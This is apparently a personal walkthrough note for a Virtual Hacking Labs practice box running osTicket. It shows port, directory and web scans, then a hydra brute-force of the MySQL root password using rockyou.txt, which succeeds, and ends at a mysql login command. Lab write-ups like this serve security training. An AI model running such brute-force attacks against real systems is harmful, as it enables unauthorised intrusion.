// notes/ Practice Boxes
🔵
Helpdesk — VHL (10.11.1.11)
sudo rustscan -a 10.11.1.11 -- -A -sC
#virtual hacking labs#vhl#walkthrough#boxes#os:linux#tech:password-attack#tech:suid
Helpdesk — VHL (10.11.1.11)
#Initial Access is through brute forcing Mysql with this command hydra -l root -P /usr/share/wordlists/rockyou.txt 10.11.1.11 mysql -f -vv Helpful link: https://github.com/vanhauser-thc/thc-hydra #Privesc From mysql enumeration to helpdeskuser #Privesc to root done via wildcard cronjob https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html?highlight=wildcard cron#cron-using-a-script-with-a-wildcard-wildcard-injection
Information Gathering
🐺 howlsec@kalishell
$#Port Enumeration$sudo rustscan -a 10.11.1.11 -- -A -sC$ $21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.2$| ftp-syst: $| STAT: $| FTP server status:$| Connected to ::ffff:172.16.1.2$| Logged in as ftp$| TYPE: ASCII$| No session bandwidth limit$| Session timeout in seconds is 300$| Control connection is plain text$| Data connections will be plain text$| At session startup, client count was 3$| vsFTPd 3.0.2 - secure, fast, stable$|_End of status$| ftp-anon: Anonymous FTP login allowed (FTP code 230)$|_drwxr-xr-x 2 0 0 6 Jun 09 2021 pub$ $22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4 (protocol 2.0)$| ssh-hostkey: $| 2048 fd:67:8a:ee:2b:20:1f:c2:7c:40:4a:af:0e:78:a3:f1 (RSA)$| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC92lOytvOijdKGWgz3dQ7MwGzawyL0r9xvXstYxLdwFwuM7Rgh9thaLGc8lgp14SygOayjzj19RYCz72PtUVzGMJQ3H4ZtpyJrsjxu7hzHnYD6heqQwgi1c0EpCdGdnRj+15Ljvo0WqHikeIvPsZ5YA9sIpIDB+D96OTqaB7tXPmA3s9+DUg5HK1cO+ZuErFLkCPGcwcP42pbDSghikZzuHZuF8IIyCVtg6ReUOrg57cRBIwfXtPkA/JrgSoSfGOX6klt2JHB/PYa54Qs3uf5O2wy31UqURg3MvlOho+Wk1d7mgKg13LpQk9BUfaKbkgLHC1sRI+UVm84eKKPrOhgb$| 256 d3:92:02:90:59:6b:ee:05:f4:6e:38:dd:4f:a7:35:b9 (ECDSA)$| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFLn8+9sYeWEV64JF1QYfk48YyfdlwUVgsIglwOf0qEO6lY6CT5Ej0JDnkJngfjREfg7ixU6F9EGk+lHW5GXzIw=$| 256 97:62:5f:74:d9:20:39:f1:bd:9d:2b:56:cf:0e:45:2d (ED25519)$|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILZJGeRY+OMw5dSkDMTRseHF2v4HgUxFBTIa5mP8iJHX$ $80/tcp open http syn-ack ttl 63 Apache httpd 2.4.6 ((CentOS) PHP/7.4.29)$| http-methods: $|_ Supported Methods: GET HEAD POST OPTIONS$|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.4.29$|_http-favicon: Unknown favicon MD5: D84666B7F0C1CEF1E20892E33308C913$|_http-title: Helpdesk$ $111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)$| rpcinfo: $| program version port/proto service$| 100000 2,3,4 111/tcp rpcbind$| 100000 2,3,4 111/udp rpcbind$| 100000 3,4 111/tcp6 rpcbind$|_ 100000 3,4 111/udp6 rpcbind$ $3306/tcp open mysql syn-ack ttl 63 MySQL 5.6.51$| mysql-info: $| Protocol: 10$| Version: 5.6.51$| Thread ID: 5$| Capabilities flags: 63487$| Some Capabilities: ODBCClient, Support41Auth, Speaks41ProtocolOld, InteractiveClient, LongPassword, Speaks41ProtocolNew, SupportsTransactions, SupportsLoadDataLocal, FoundRows, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, SupportsCompression, IgnoreSigpipes, DontAllowDatabaseTableColumn, LongColumnFlag, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments$| Status: Autocommit$| Salt: ]>_EzW%PEGs2=yl3W>o$|_ Auth Plugin Name: mysql_native_passwordWeb (80)
🐺 howlsec@kalishell
$#Ferox$feroxbuster -u http://10.11.1.11 -x htm php html js txt zip bak asp aspx xml py -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20$ $ ___ ___ __ __ __ __ __ ___$|__ |__ |__) |__) | / ` / \ _/ | | \ |__$| |___ | \ | \ | __, __/ / \ | |__/ |___$by Ben "epi" Risher 🤓 ver: 2.11.0$───────────────────────────┬──────────────────────$ 🎯 Target Url │ http://10.11.1.11$ 🚀 Threads │ 20$ 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt$ 👌 Status Codes │ All Status Codes!$ 💥 Timeout (secs) │ 7$ 🦡 User-Agent │ feroxbuster/2.11.0$ 💉 Config File │ /etc/feroxbuster/ferox-config.toml$ 🔎 Extract Links │ true$ 💲 Extensions │ [htm, php, html, js, txt, zip, bak, asp, aspx, xml, py]$ 🏁 HTTP methods │ [GET]$ 📍 Follow Redirects │ true$ 🔃 Recursion Depth │ 4$ 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest$───────────────────────────┴──────────────────────$ 🏁 Press [ENTER] to use the Scan Management Menu™$──────────────────────────────────────────────────$404 GET 7l 24w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter$403 GET 8l 22w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter$200 GET 102l 339w 4748c http://10.11.1.11/index.php$200 GET 221l 602w 7484c http://10.11.1.11/js/osticket.js$200 GET 1l 6w 416c http://10.11.1.11/assets/default/css/print.css$200 GET 5l 17w 997c http://10.11.1.11/images/cal.png$200 GET 1l 304w 14966c http://10.11.1.11/css/select2.min.css$200 GET 153l 367w 3026c http://10.11.1.11/css/rtl.css$200 GET 364l 910w 9295c http://10.11.1.11/scp/js/bootstrap-typeahead.js$200 GET 4l 18w 888c http://10.11.1.11/images/oscar-favicon-16x16.png$422 GET 109l 341w 4996c http://10.11.1.11/login.php$200 GET 165l 360w 2783c http://10.11.1.11/css/loadingbar.css$200 GET 197l 804w 6938c http://10.11.1.11/css/filedrop.css$200 GET 403l 532w 22119c http://10.11.1.11/css/font-awesome.min.css$200 GET 1414l 3644w 50545c http://10.11.1.11/css/redactor.css$200 GET 2l 861w 70892c http://10.11.1.11/js/select2.min.js$200 GET 7l 561w 30801c http://10.11.1.11/css/ui-lightness/jquery-ui-1.13.1.custom.min.css$200 GET 30l 187w 1945c http://10.11.1.11/css/jquery-ui-timepicker-addon.css$200 GET 115l 247w 2195c http://10.11.1.11/scp/css/tooltip.css$200 GET 29l 125w 1596c http://10.11.1.11/scp/css/dashboard.css$200 GET 162l 394w 3454c http://10.11.1.11/scp/css/translatable.css$200 GET 148l 413w 3681c http://10.11.1.11/scp/css/dropdown.css$200 GET 8l 32w 1931c http://10.11.1.11/images/oscar-favicon-32x32.png$200 GET 135l 347w 3384c http://10.11.1.11/scp/js/bootstrap-tab.js$200 GET 7l 77w 4979c http://10.11.1.11/scp/js/g.line-min.js$200 GET 1284l 2898w 24531c http://10.11.1.11/assets/default/css/theme.css$200 GET 1l 369w 12204c http://10.11.1.11/assets/default/css/theme.min.css$200 GET 2317l 7629w 79026c http://10.11.1.11/scp/js/spectrum.js$200 GET 2297l 8539w 78558c http://10.11.1.11/js/jquery-ui-timepicker-addon.js$200 GET 74l 210w 1701c http://10.11.1.11/scp/css/typeahead.css$200 GET 513l 1327w 10469c http://10.11.1.11/css/thread.css$200 GET 258l 1015w 12823c http://10.11.1.11/css/flags.css$200 GET 167l 460w 7702c http://10.11.1.11/open.php$200 GET 93l 254w 2246c http://10.11.1.11/css/osticket.css$200 GET 10l 1175w 90647c http://10.11.1.11/scp/js/raphael-min.js$200 GET 2258l 5985w 72469c http://10.11.1.11/js/redactor-plugins.js$200 GET 352l 1833w 143288c http://10.11.1.11/images/flags.png$200 GET 53l 348w 31177c http://10.11.1.11/assets/default/images/logo.png$200 GET 624l 2671w 37150c http://10.11.1.11/account.php$422 GET 150l 425w 6269c http://10.11.1.11/scp/login.php$200 GET 80l 878w 51416c http://10.11.1.11/images/favicon.png$422 GET 109l 341w 4996c http://10.11.1.11/profile.php$200 GET 53l 123w 4009c http://10.11.1.11/images/FhHRx-Spinner.gif$200 GET 15l 43w 3274c http://10.11.1.11/images/captcha/sand.png$200 GET 21l 91w 5764c http://10.11.1.11/images/captcha/bubbles.png$200 GET 24l 75w 5415c http://10.11.1.11/images/captcha/lines.png$200 GET 9l 55w 3136c http://10.11.1.11/images/captcha/crackle.png$200 GET 18l 94w 7171c http://10.11.1.11/images/captcha/grass.png$200 GET 12l 74w 5226c http://10.11.1.11/images/captcha/snakeskin.png$200 GET 12l 74w 6046c http://10.11.1.11/images/captcha/cottoncandy.png$200 GET 15l 71w 6656c http://10.11.1.11/images/captcha/silk.png$200 GET 4l 21w 1606c http://10.11.1.11/images/captcha/ripple.png$200 GET 106l 350w 5080c http://10.11.1.11/view.php$200 GET 22l 93w 7271c http://10.11.1.11/images/captcha/whirlpool.png$200 GET 7l 56w 2314c http://10.11.1.11/images/mystery-oscar.png$200 GET 354l 2132w 23011c http://10.11.1.11/css/ui-lightness/jquery-ui-1.8.18.custom.css$200 GET 1l 2710w 266647c http://10.11.1.11/js/redactor.min.js$200 GET 507l 1386w 19151c http://10.11.1.11/js/redactor-osticket.js$200 GET 2l 63w 5340c http://10.11.1.11/js/jstz.min.js$200 GET 816l 2136w 25106c http://10.11.1.11/js/filedrop.field.js$200 GET 14l 92w 520c http://10.11.1.11/assets/default/about-custom-themes.md$200 GET 91l 274w 3076c http://10.11.1.11/js/jquery-ui-sliderAccess.js$200 GET 898l 3102w 25147c http://10.11.1.11/js/jquery.pjax.js$200 GET 110l 189w 1382c http://10.11.1.11/assets/default/less/reset.less$200 GET 30l 59w 472c http://10.11.1.11/assets/default/less/print.less$200 GET 7l 14w 136c http://10.11.1.11/assets/default/less/theme.less$200 GET 88l 113w 1307c http://10.11.1.11/assets/default/less/kb.less$200 GET 10l 69w 3960c http://10.11.1.11/assets/default/images/nav_bg.png$200 GET 145l 290w 2868c http://10.11.1.11/assets/default/less/ticket.less$200 GET 170l 280w 2456c http://10.11.1.11/assets/default/less/ticket-forms.less$200 GET 131l 349w 3105c http://10.11.1.11/assets/default/less/base.less$200 GET 11l 101w 5710c http://10.11.1.11/assets/default/images/open_ticket_btn.png$200 GET 114l 262w 2261c http://10.11.1.11/assets/default/less/main-layout.less$200 GET 58l 105w 1092c http://10.11.1.11/assets/default/less/landing-page.less$200 GET 98l 969w 70261c http://10.11.1.11/images/avatar-sprite-ateam.png$200 GET 23l 137w 2640c http://10.11.1.11/images/$200 GET 35l 138w 8516c http://10.11.1.11/assets/default/images/check_status_icon.png$200 GET 29l 159w 11526c http://10.11.1.11/assets/default/images/check_status_btn.png$200 GET 20l 132w 9010c http://10.11.1.11/assets/default/images/lock.png$200 GET 3l 39w 1199c http://10.11.1.11/assets/default/images/page_bg.png$200 GET 4l 13w 450c http://10.11.1.11/css/ui-lightness/images/ui-bg_diagonals-thick_20_666666_40x40.png$404 GET 1l 3w 14c http://10.11.1.11/pages/$200 GET 3l 6w 348c http://10.11.1.11/css/ui-lightness/images/ui-bg_glass_100_f6f6f6_1x400.png$200 GET 21l 111w 8575c http://10.11.1.11/assets/default/images/support.png$200 GET 3l 41w 1024c http://10.11.1.11/assets/default/images/content_bg.png$200 GET 18l 122w 7928c http://10.11.1.11/css/ui-lightness/images/ui-icons_ef8c08_256x240.png$200 GET 3l 5w 242c http://10.11.1.11/css/ui-lightness/images/ui-bg_glass_65_ffffff_1x400.png$200 GET 5l 12w 623c http://10.11.1.11/css/ui-lightness/images/ui-bg_diagonals-thick_18_b81900_40x40.png$200 GET 3l 8w 510c http://10.11.1.11/css/ui-lightness/images/ui-bg_glass_100_fdf5ce_1x400.png$200 GET 5l 11w 474c http://10.11.1.11/css/ui-lightness/images/ui-bg_highlight-soft_75_ffe45c_1x100.png$200 GET 15l 121w 8576c http://10.11.1.11/assets/default/images/new_ticket_icon.png$200 GET 8l 82w 3840c http://10.11.1.11/assets/default/images/kb_large_folder.png$200 GET 37l 226w 14147c http://10.11.1.11/assets/default/images/poweredby.png$200 GET 2l 1297w 89476c http://10.11.1.11/js/jquery-3.5.1.min.js$200 GET 6l 1656w 254902c http://10.11.1.11/js/jquery-ui-1.13.1.custom.min.js$200 GET 300l 768w 11312c http://10.11.1.11/scp/js/tips.js$200 GET 231l 631w 7509c http://10.11.1.11/scp/js/jb.overflow.menu.js$200 GET 507l 1259w 14921c http://10.11.1.11/scp/css/spectrum.css$200 GET 358l 694w 7250c http://10.11.1.11/scp/css/login.css$200 GET 514l 1684w 16345c http://10.11.1.11/scp/js/bootstrap-tooltip.js$200 GET 7l 58w 2830c http://10.11.1.11/scp/js/g.dot-min.js$200 GET 99l 302w 3795c http://10.11.1.11/scp/js/dashboard.inc.js$200 GET 384l 2676w 37782c http://10.11.1.11/css/font-awesome-ie7.min.css$200 GET 76l 172w 2672c http://10.11.1.11/scp/js/upgrader.js$200 GET 3l 38w 977c http://10.11.1.11/assets/default/images/kb_category_bg.png$200 GET 82l 187w 2279c http://10.11.1.11/scp/js/jquery.dropdown.js$200 GET 177l 465w 5915c http://10.11.1.11/scp/js/thread.js$200 GET 230l 505w 7146c http://10.11.1.11/scp/js/jquery.translatable.js$200 GET 20l 80w 10414c http://10.11.1.11/css/ui-lightness/images/ui-bg_gloss-wave_35_f6a828_500x100.png$200 GET 3l 7w 379c http://10.11.1.11/css/ui-lightness/images/ui-bg_highlight-soft_100_eeeeee_1x100.png$200 GET 361l 1017w 11637c http://10.11.1.11/scp/js/ticket.js$200 GET 20l 167w 11317c http://10.11.1.11/css/ui-lightness/images/ui-icons_ffffff_256x240.png$200 GET 3771l 8035w 80910c http://10.11.1.11/scp/css/scp.css$200 GET 1384l 3607w 46410c http://10.11.1.11/scp/js/scp.js$200 GET 102l 339w 4748c http://10.11.1.11/$200 GET 1l 4193w 296956c http://10.11.1.11/js/fabric.min.js$200 GET 870l 4390w 27824c http://10.11.1.11/scp/js/g.raphael.js$500 GET 0l 0w 0c http://10.11.1.11/apps/dispatcher.php$200 GET 15l 54w 886c http://10.11.1.11/apps/$200 GET 26l 60w 882c http://10.11.1.11/assets/font/$200 GET 26l 60w 882c http://10.11.1.11/assets/font/index.html$200 GET 18l 122w 8196c http://10.11.1.11/css/ui-lightness/images/ui-icons_ffd27a_256x240.png$200 GET 32l 200w 12618c http://10.11.1.11/css/ui-lightness/images/ui-icons_222222_256x240.png$200 GET 3l 5w 237c http://10.11.1.11/css/ui-lightness/images/ui-bg_flat_10_000000_40x100.png$200 GET 18l 122w 8196c http://10.11.1.11/css/ui-lightness/images/ui-icons_228ef1_256x240.png$200 GET 16l 67w 1094c http://10.11.1.11/assets/$200 GET 26l 169w 3267c http://10.11.1.11/css/$400 GET 1l 3w 17c http://10.11.1.11/ajax.php$404 GET 1l 4w 23c http://10.11.1.11/file.php$200 GET 27l 190w 3565c http://10.11.1.11/js/$400 GET 1l 6w 40c http://10.11.1.11/avatar.php$200 GET 2l 7w 63c http://10.11.1.11/manage.php$422 GET 109l 341w 4996c http://10.11.1.11/tickets.php$200 GET 7l 37w 2129c http://10.11.1.11/captcha.php$200 GET 280l 2496w 15220c http://10.11.1.11/LICENSE.txt$404 GET 7l 25w 202c http://10.11.1.11/%20.js$404 GET 7l 25w 203c http://10.11.1.11/%20.txt$404 GET 7l 25w 203c http://10.11.1.11/%20.bak$404 GET 7l 25w 203c http://10.11.1.11/%20.asp$404 GET 7l 25w 203c http://10.11.1.11/%20.xml$404 GET 7l 25w 202c http://10.11.1.11/%20.py$404 GET 7l 25w 216c http://10.11.1.11/assets/font/%20.html$404 GET 7l 25w 215c http://10.11.1.11/assets/font/%20.bak$404 GET 7l 25w 215c http://10.11.1.11/assets/font/%20.asp$404 GET 7l 25w 216c http://10.11.1.11/assets/font/%20.aspx$404 GET 7l 25w 214c http://10.11.1.11/assets/font/%20.py$200 GET 59l 158w 2342c http://10.11.1.11/scp/pwreset.php$200 GET 179l 131w 19064c http://10.11.1.11/scp/images/osticket-grey.png$200 GET 13l 74w 3523c http://10.11.1.11/scp/images/cog.png$200 GET 4l 12w 335c http://10.11.1.11/scp/images/sub-tab.png$200 GET 8l 82w 3840c http://10.11.1.11/scp/images/kb_large_folder.png$200 GET 31l 219w 17931c http://10.11.1.11/scp/images/oscar-avatars.png$200 GET 3l 9w 360c http://10.11.1.11/scp/images/tip_arrow.png$200 GET 61l 329w 24020c http://10.11.1.11/scp/images/ost-logo.png$200 GET 10l 92w 4816c http://10.11.1.11/scp/images/grey_btn_bg.png$200 GET 10l 55w 3628c http://10.11.1.11/scp/images/btn_sm_bg.png$200 GET 3l 51w 1400c http://10.11.1.11/scp/images/icons/faq-categories.png$200 GET 1l 5w 456c http://10.11.1.11/scp/images/icons/new_premade_reply.gif$200 GET 7l 49w 2580c http://10.11.1.11/scp/images/icons/icon-form.png$200 GET 3l 42w 1832c http://10.11.1.11/scp/images/icons/user.gif$200 GET 1l 3w 192c http://10.11.1.11/scp/images/icons/answered_tickets.gif$200 GET 1l 3w 197c http://10.11.1.11/scp/images/icons/ticket_source_phone.gif$200 GET 2l 4w 385c http://10.11.1.11/scp/images/icons/ticket.gif$200 GET 4l 20w 1391c http://10.11.1.11/scp/images/icons/ok.png$200 GET 4l 49w 2357c http://10.11.1.11/scp/images/icons/kb-settings.gif$200 GET 7l 47w 1925c http://10.11.1.11/scp/images/icons/canned.gif$200 GET 4l 17w 1204c http://10.11.1.11/scp/images/icons/cancel.png$200 GET 2l 6w 378c http://10.11.1.11/scp/images/icons/my_tickets.gif$200 GET 2l 4w 395c http://10.11.1.11/scp/images/icons/teams.gif$200 GET 6l 50w 1787c http://10.11.1.11/scp/images/icons/new_help_topic.png$200 GET 2l 4w 389c http://10.11.1.11/scp/images/icons/new_team.gif$200 GET 1l 4w 185c http://10.11.1.11/scp/images/icons/overdue_ticket.gif$200 GET 6l 20w 1194c http://10.11.1.11/scp/images/icons/delete.png$200 GET 1l 4w 218c http://10.11.1.11/scp/images/icons/open.gif$200 GET 6l 54w 1719c http://10.11.1.11/scp/images/icons/new_email_filter.png$200 GET 1l 5w 788c http://10.11.1.11/scp/images/icons/user_preferences.gif$200 GET 14l 75w 6740c http://10.11.1.11/scp/images/icons/edit_ticket.png$200 GET 6l 53w 2300c http://10.11.1.11/scp/images/icons/kb-large.png$200 GET 1l 4w 218c http://10.11.1.11/scp/images/icons/open_tickets.gif$200 GET 2l 6w 222c http://10.11.1.11/scp/images/icons/closed.gif$200 GET 3l 46w 2409c http://10.11.1.11/scp/images/icons/alert-settings.gif$200 GET 1l 10w 628c http://10.11.1.11/scp/images/icons/change_password.gif$200 GET 4l 16w 1383c http://10.11.1.11/scp/images/icons/icon-list.png$200 GET 1l 4w 297c http://10.11.1.11/scp/images/icons/ban_list.gif$200 GET 7l 47w 1853c http://10.11.1.11/scp/images/icons/new_sla.png$200 GET 2l 4w 267c http://10.11.1.11/scp/images/icons/overdue_tickets.gif$200 GET 2l 6w 222c http://10.11.1.11/scp/images/icons/closed_tickets.gif$200 GET 2l 38w 1725c http://10.11.1.11/scp/images/icons/faq-categories.gif$200 GET 1l 6w 216c http://10.11.1.11/scp/images/icons/log_debug.gif$200 GET 1l 1w 202c http://10.11.1.11/scp/images/icons/new.gif$200 GET 5l 54w 1734c http://10.11.1.11/scp/images/icons/new_category.png$200 GET 1l 1w 202c http://10.11.1.11/scp/images/icons/new_page.gif$200 GET 6l 47w 1843c http://10.11.1.11/scp/images/icons/new_email.png$200 GET 5l 11w 504c http://10.11.1.11/scp/images/icons/thread.gif$200 GET 6l 46w 1389c http://10.11.1.11/scp/images/icons/email_templates.png$200 GET 3l 43w 1216c http://10.11.1.11/scp/images/icons/page.png$200 GET 1l 2w 206c http://10.11.1.11/scp/images/icons/log_alert.gif$200 GET 6l 64w 1834c http://10.11.1.11/scp/images/icons/edit_category.png$200 GET 4l 43w 1454c http://10.11.1.11/scp/images/icons/email_filters.png$200 GET 2l 6w 378c http://10.11.1.11/scp/images/icons/mine.gif$200 GET 3l 48w 1534c http://10.11.1.11/scp/images/icons/new_ticket_filter.png$200 GET 3l 19w 802c http://10.11.1.11/scp/images/icons/teams.png$200 GET 1l 4w 445c http://10.11.1.11/scp/images/icons/add_new_email.gif$200 GET 1l 5w 369c http://10.11.1.11/scp/images/icons/new_user.gif$200 GET 1l 3w 201c http://10.11.1.11/scp/images/icons/locked_ticket.gif$200 GET 2l 3w 435c http://10.11.1.11/scp/images/icons/file.gif$200 GET 1l 1w 144c http://10.11.1.11/scp/images/icons/ticket_source_other.gif$200 GET 5l 37w 2201c http://10.11.1.11/scp/images/icons/icon-list-add.png$200 GET 4l 52w 1444c http://10.11.1.11/scp/images/icons/articles.png$200 GET 2l 4w 326c http://10.11.1.11/scp/images/icons/assigned_tickets.gif$200 GET 7l 22w 1235c http://10.11.1.11/scp/images/icons/error.png$200 GET 2l 43w 2315c http://10.11.1.11/scp/images/icons/email-settings.gif$200 GET 2l 6w 737c http://10.11.1.11/scp/images/icons/help.gif$200 GET 1l 3w 247c http://10.11.1.11/scp/images/icons/list_departments.gif$200 GET 4l 44w 2091c http://10.11.1.11/scp/images/icons/email-autoresponders.gif$200 GET 1l 2w 174c http://10.11.1.11/scp/images/icons/logs.gif$200 GET 7l 17w 1112c http://10.11.1.11/scp/images/icons/date.png$200 GET 4l 60w 1667c http://10.11.1.11/scp/images/icons/new_email_template.png$200 GET 5l 20w 1178c http://10.11.1.11/scp/images/icons/alert.png$200 GET 6l 52w 1630c http://10.11.1.11/scp/images/icons/delete_category.png$200 GET 1l 6w 775c http://10.11.1.11/scp/images/icons/new_help_topic.gif$200 GET 3l 23w 834c http://10.11.1.11/scp/images/icons/new_team.png$200 GET 5l 45w 1514c http://10.11.1.11/scp/images/icons/help_topics.png$200 GET 2l 42w 1942c http://10.11.1.11/scp/images/icons/kb.gif$200 GET 8l 47w 2778c http://10.11.1.11/scp/images/icons/icon-form-add.png$200 GET 4l 54w 2209c http://10.11.1.11/scp/images/icons/api.png$200 GET 1l 1w 202c http://10.11.1.11/scp/images/icons/new_ticket.gif$200 GET 2l 8w 490c http://10.11.1.11/scp/images/icons/note.gif$200 GET 2l 3w 404c http://10.11.1.11/scp/images/icons/email_diagnostic.gif$200 GET 3l 54w 1682c http://10.11.1.11/scp/images/icons/new_article.png$200 GET 16l 78w 5337c http://10.11.1.11/scp/images/icons/phone.png$200 GET 6l 51w 1768c http://10.11.1.11/scp/images/icons/new_reply.png$200 GET 2l 9w 804c http://10.11.1.11/scp/images/icons/refresh.gif$200 GET 3l 25w 898c http://10.11.1.11/scp/images/icons/edit.png$200 GET 2l 5w 682c http://10.11.1.11/scp/images/icons/new_group.gif$200 GET 1l 3w 192c http://10.11.1.11/scp/images/icons/answered.gif$200 GET 2l 7w 755c http://10.11.1.11/scp/images/icons/list_groups.gif$200 GET 1l 2w 204c http://10.11.1.11/scp/images/icons/log_error.gif$200 GET 2l 6w 290c http://10.11.1.11/scp/images/icons/assigned_ticket.gif$200 GET 4l 64w 2308c http://10.11.1.11/scp/images/icons/new_api.png$200 GET 1l 5w 788c http://10.11.1.11/scp/images/icons/settings.gif$200 GET 2l 4w 326c http://10.11.1.11/scp/images/icons/list_users.gif$200 GET 3l 44w 1536c http://10.11.1.11/scp/images/icons/slas.png$200 GET 4l 56w 1776c http://10.11.1.11/scp/images/icons/new_faq.png$200 GET 1l 3w 535c http://10.11.1.11/scp/images/icons/attachment.gif$200 GET 3l 38w 1123c http://10.11.1.11/scp/images/icons/ticket_source_other.png$200 GET 1l 7w 1308c http://10.11.1.11/scp/images/icons/printer.gif$200 GET 1l 4w 194c http://10.11.1.11/scp/images/icons/ticket_source_web.gif$200 GET 1l 2w 184c http://10.11.1.11/scp/images/icons/api_settings.gif$200 GET 4l 7w 681c http://10.11.1.11/scp/images/icons/email_templates.gif$200 GET 3l 45w 1442c http://10.11.1.11/scp/images/icons/emails.png$200 GET 7l 24w 1305c http://10.11.1.11/scp/images/icons/add.png$200 GET 1l 6w 257c http://10.11.1.11/scp/images/icons/new_department.gif$200 GET 3l 44w 1808c http://10.11.1.11/scp/images/icons/ticket-settings.gif$200 GET 1l 2w 174c http://10.11.1.11/scp/images/icons/pages.gif$200 GET 1l 5w 473c http://10.11.1.11/scp/images/icons/premade_reply.gif$200 GET 1l 2w 193c http://10.11.1.11/scp/images/icons/ticket_source_email.gif$200 GET 3l 44w 1258c http://10.11.1.11/scp/images/icons/ticket_filters.png$200 GET 3025l 17450w 1302942c http://10.11.1.11/scp/images/oscar-wall.jpg$200 GET 0l 0w 701c http://10.11.1.11/scp/images/arrowleftmonth.gif$200 GET 0l 0w 1396c http://10.11.1.11/scp/images/no.png$200 GET 0l 0w 64c http://10.11.1.11/scp/images/asc_desc.gif$200 GET 0l 0w 937c http://10.11.1.11/scp/images/kb_category_bg.png$200 GET 0l 0w 417937c http://10.11.1.11/scp/images/login-headquarters.jpg$200 GET 0l 0w 181c http://10.11.1.11/scp/images/popwin_close.png$200 GET 0l 0w 937c http://10.11.1.11/scp/images/faq_category_bg.png$200 GET 0l 0w 1274c http://10.11.1.11/scp/images/yes.png$200 GET 0l 0w 1849c http://10.11.1.11/scp/images/ajax-loader.gif$200 GET 0l 0w 3514c http://10.11.1.11/scp/images/nicEditorIcons.gif$200 GET 0l 0w 595c http://10.11.1.11/scp/images/cal.png$200 GET 0l 0w 54c http://10.11.1.11/scp/images/desc.gif$200 GET 0l 0w 2608c http://10.11.1.11/scp/images/FhHRx-Spinner.gif$200 GET 0l 0w 597c http://10.11.1.11/scp/images/btn_bg.png$200 GET 0l 0w 699c http://10.11.1.11/scp/images/arrowrightmonth.gif$200 GET 0l 0w 148c http://10.11.1.11/scp/images/popwin_minimize.png$200 GET 0l 0w 54c http://10.11.1.11/scp/images/asc.gif$200 GET 101l 239w 3209c http://10.11.1.11/UPGRADING.txt$ $#Nikto$nikto -h http://10.11.1.11$- Nikto v2.5.0$---------------------------------------------------------------------------$+ Target IP: 10.11.1.11$+ Target Hostname: 10.11.1.11$+ Target Port: 80$+ Start Time: 2025-09-19 18:38:43 (GMT-4)$---------------------------------------------------------------------------$+ Server: Apache/2.4.6 (CentOS) PHP/7.4.29$+ /: Retrieved x-powered-by header: PHP/7.4.29.$+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options$+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/$+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.$+ PHP/7.4.29 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.$+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.$+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017$+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing$+ /web.config: ASP config file is accessible.$+ /apps/: Directory indexing found.$+ /apps/: This might be interesting.$+ /css/: Directory indexing found.$+ /css/: This might be interesting.$+ /icons/: Directory indexing found.$+ /images/: Directory indexing found.$+ /LICENSE.txt: License file found may identify site software.$+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/$+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.$+ /README.md: Readme Found.$+ 8882 requests: 0 error(s) and 19 item(s) reported on remote host$+ End Time: 2025-09-19 18:41:57 (GMT-4) (194 seconds)$---------------------------------------------------------------------------$+ 1 host(s) tested$ $#Whatweb$whatweb http://10.11.1.11 $http://10.11.1.11 [200 OK] Apache[2.4.6], Bootstrap, Content-Language[en-US], Cookies[OSTSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/7.4.29], HttpOnly[OSTSESSID], IP[10.11.1.11], JQuery[3.5.1], PHP[7.4.29], PoweredBy[osTicket], Script[text/javascript], Title[Helpdesk], UncommonHeaders[content-security-policy], X-Powered-By[PHP/7.4.29], X-UA-Compatible[IE=edge]Mysql (3306)
🐺 howlsec@kalishell
$#hydra brute force mysql$hydra -l root -P /usr/share/wordlists/rockyou.txt 10.11.1.11 mysql -f -vv$Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).$ $Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-19 19:02:51$[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)$[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task$[DATA] attacking mysql://10.11.1.11:3306/$[VERBOSE] Resolving addresses ... [VERBOSE] resolving done$[3306][mysql] host: 10.11.1.11 login: root password: whatever$[STATUS] attack finished for 10.11.1.11 (valid pair found)$1 of 1 target successfully completed, 1 valid password found$Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-19 19:02:55Initial Foothold mysql -h 10.11.1.11 -u root --ssl=0 -p
🐺 howlsec@kalishell
